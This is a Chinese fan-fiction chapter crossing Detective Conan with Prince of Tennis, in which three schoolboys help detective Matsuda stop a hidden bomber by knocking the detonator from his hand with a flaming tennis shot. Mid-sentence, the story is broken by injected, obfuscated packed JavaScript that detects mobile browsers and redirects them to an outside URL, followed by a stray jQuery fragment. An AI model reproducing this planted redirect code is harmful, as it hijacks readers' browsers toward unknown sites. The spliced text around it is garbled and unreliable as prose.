如果有起/爆/器,那从开始到现在炸弹犯和他们交涉的信息都需要重新判断。
而且,刚刚目暮警官说他们已经和炸弹犯取得联系,在对方的指导下拆弹,并准备实施抓捕。这个男人却显然并没有在和谁沟通中。
松田阵平已经认定了这个男人就是这起案件中隐身的第二个犯人,那么……
“他手里拿着的是炸弹引爆器,你们乖乖呆在这里不要乱跑,也别让他看到你们。放心,事情很快就能结束了。”
作为爆处班的王牌之一,松田阵平当然不会被一起所有线索都已摆在明面上的案件难倒,他嘱咐仁王三人老实待在原地后就匆匆离开,应该是去联系那个目暮警官了。
“我们能帮上什么忙吗?”幸村谨慎地站在阴影里,以防被对面那个犯人听到,又极其小心的凑到仁王耳边说话。
温热气息吹起几缕发丝,仁王动了动耳朵,聚精会神的盯着那个男人的一举一动。
真田也跟仁王一样死死盯着那个男人:“就像松田警官说的一样,站在原地不要被发现就好。”
虽然很希望能帮上警官们的忙,但出身警察世家的真田也很清楚自己现在的身体素质并不能一举制服那个炸弹犯,哪怕只给对方一秒的时间,都会让对方按下引爆器,造成难以估量的损失。
“真田。”仁王冷不丁开口,吓了真田一跳。
他看向仁王,发现对方还在盯着那个犯人,因为将全部心力都放在了对面以至于脸上一丝表情也无,全然不似在自己心中那狡黠恼人的印象。
“现在能做到精准落点吗?”仁王问,“能做到的话就拿好你的网球拍,看准他的手腕,打过去。”
“他快按耐不住了。”
“啊,知道了。”真田捏住帽檐转到一旁,双手握紧网球拍,全神贯注地盯着对面那个男人,注意着他的一举一动。
仁王的判断没有出错,不过一会儿,那个男人就像是从望远镜中看到了什么让他无法接受的东西,情绪肉眼可见的激动的起来。
就是现在!
“侵略如火!”真田大喝一声,把网球高高抛起,瞄准炸弹犯握着控制器那只手的手腕狠狠打了过去,网球在空中呼啸而过,在阳光下隐约还冒出一丝火光。
那个男人的动作被真田的喊声打断,他下意识地朝三人的方向看了过来,扭曲悲伤的表情中掺进了一抹格格不入的惊诧,似乎不理解为什么会有三个小孩子和他一样偷偷藏在这个本应被封锁的区域。
下一秒,更让他难以想象的事情出现了,冒火的网球携着巨力狠狠砸在了他的手腕上,控制器瞬间脱手而出,砸落在地。
但他已经来不及去看,抱着手腕跌倒在地,踌躇着在地上打滚、冷汗直冒,他似乎感觉不到自己被击中的这只手的存在,手腕被网球瞄准的地方几乎有种被大火燎过的错觉,皮肉血管都萎缩成一块焦炭。
他哀嚎哭喊、蜷缩在地上涕泪横流的样子丑态毕出,让人完全无法将他和那在有数百人居住的公寓里安装了足以将整栋楼连同相邻的房屋炸上天的炸药的犯人联系在一起。
匆匆赶来的松田不敢相信,萩原和爆处班的同事们、还有那么多无辜的民众就是这种货色陷入绝境、险些尸骨无存。
如果不是仁王……
回到松田刚刚发现这个隐藏着的第二人时,他第一时间就联系了目暮警官,并迅速往公寓处赶去,却得知萩原那个家伙居然在拆弹中途脱了防爆服。
他狂喷了萩原一顿,直到对方连连讨饶保证以后绝对把防爆服焊在身上后才放下心。结果 目暮警官那边又出了新状况。
“我不是告诉过你,炸弹犯不止一个人,他还有个同伙在观察这边,没有做好准备之前不要轻举妄动,更不要擅自对他动手吗?!”
松田的脸色黑如锅底,本来就以□□气质闻名警视厅的男人在生起气来时威慑更重,明明算是对方上级的目暮警官都有些悻悻然。
目暮警官弱弱发声:“可是…现在的时机真的很好啊,佐藤发现那个犯人就在这附近的公共电话亭,那里也已经被警察包围了,所以才…”
确实算是个好机会。
松田强忍着怒火,心平气和地问:“那行动进度怎么样,犯人抓住了吗?”
“还没有回复,我问问。”目暮警官刚拿起手机,就接到了负责抓捕行动的警员的电话。
“什么?!”目暮警官的音量骤然拔高,“那个犯人逃跑时出了车祸,当场死亡?”
十来个警察围堵一个行踪了如指掌且还出于半封闭空间的炸弹犯,不仅没能第一时间捉拿归案让对方逃了出去,甚至在抓捕过程中犯人在本应被封闭的区域车祸死亡?
松田差点要被这低下的行动效率和差劲的工作能力气笑了。
但下一秒,他面色突变,拔腿往来时的方向跑去。
他的脑海中不断浮现出之前的每一处细节。
那个男人精心挑选的观察点、一直放在眼前的望远镜、紧紧捏在手中随时准备按下的控制器……
萩原,快跑!你可…千万不能出事啊!
他奋力地奔跑着,不顾因为极速跑动喉间用上的铁锈味,只在心中不住地祈祷着奇迹出现。
那个男人时时刻刻关注着自己的同伙,肯定已经发现了对方的死亡,并将之归罪于警方。
一个本就拒绝和警方沟通将自己隐于幕后、还掌握着炸弹□□的男人,知道同伴去世后会做些什么难道还用猜吗?
而以为自己已经将炸弹拆除放松下来的萩原、还有那么日日相处的同事们……
松田放任本能操纵着身体往前跑,任由大脑被纷乱的思绪塞满。
直到已经达到那条街道时,他才意识到远处似乎并没有出现自己抗拒但早该响起的爆炸声。
难道是那个犯人和他的同伙关系并不好,没有因为对方的死迁怒警察吗?
但下一秒,松田就打消了这个猜测。
因为他看到了一颗还在地面上高速旋转着、浑身冒着燃烧后的白烟、看运动轨迹应该是砸中了犯人的手腕后反弹回来的网球。
松田表情空白,接过仁王递过来的控制器,说话的声音似乎有些颤抖:
“那到底是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338843|167811||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个什么东西?”
仁王看过去:“网球啊,松田叔叔你不认识网球吗?”
“不是,我问的是那个会冒火的、那个被打回来还能在地上钻洞的,这是什么东西啊?”
真田已经收拾好了自己的网球包,和幸村一起站在仁王旁边,闻言认真回答。
“是我的网球招式侵略如火,原理是通过给网球施加高速的旋转并强力击打、使网球与空气产生摩擦产生火焰的幻觉。
招式本身的原理很简单,但我在其中融入了学习剑道时领悟的见解,两者结合就形成了现在的侵略如火。名字的灵感来源是孙子兵法,还有……”
幸村微笑着捏住真田聊起网球就滔滔不绝的嘴:“抱歉,松田警官,真田他只是太喜欢网球了,您不要介意。”
“puri,什么兵法啊,真田的脑子完全理解不了那种东西嘛。满脑子直来直往的家伙居然给自己的招式取这种名字。”仁王小声嘟囔着。
真田正忙着从幸村手里解救自己的嘴、松田阵平仍在被玄幻网球震撼,只有幸村听到了仁王的吐槽。
幸村扭头,心里默默赞同。
“哈、哈哈,是啊,网球,旋转,兵法。”松田干笑着,又瞥了一眼那个已经停止旋转的网球。
地面已经被砸出来个小坑,而作为火焰载体的网球却依然完好无损,就连表面的绒毛都没有哪怕一点点的灼烧痕迹。
这就是网球啊…
不过是几颗小炸弹而已,现在就算直接把我绑在炸药包上也不会让我有一点情绪波动了。松田阵平安详闭眼。
“对了,你们不是本地人吧,来这里干什么?”松田阵平语气飘忽,计划着等他们下次比赛时一定要带萩原和班长一起去看,等他们也被网球吓到以后再狠狠嘲笑对方大惊小怪。
敢擅自脱掉防爆服的罪过可不是被骂一顿就能绕过去的!松田恶狠狠地想。
至于班长…班长应该不会被吓到吧。
松田提醒之后才想起来今天为什么来群马县的三个小孩面面相觑,同时叹了口气。
“本来是打算泡温泉的,谁知道居然会遇到爆炸事件,现在也只能回家了,piyo。”仁王满心不舍地把券塞回幸村的口袋里妥帖抚平,“可惜券今天就过期了。”
虽然已经不能用了,但留个纪念也是好的。
一波三折才是人生的真谛啊,仁王惆怅。
“回家干什么,你们又不想泡了?”松田不解地看着仁王三人。
仁王蔫蔫地靠在幸村身上,根本提不起劲儿来回答松田的疑惑。
“毕竟刚刚发生了案件嘛,温泉馆今天也没有办法继续营业了。”幸村挺直了身板让仁王能靠得舒服些,又揉了揉对方的软发权作安慰。
“你说的是刚才遇见你们的那家店吧?”松田摆了摆手,一脸无所谓,“炸弹又没装在温泉馆,怎么可能会停业一天啊,你们几个等我一下。”
他走到一边接通电话,聊了几句挂断后又走了过来。
“走吧,松田哥哥请你们吃点好吃的,等一会儿那家店应该就重新开业了。”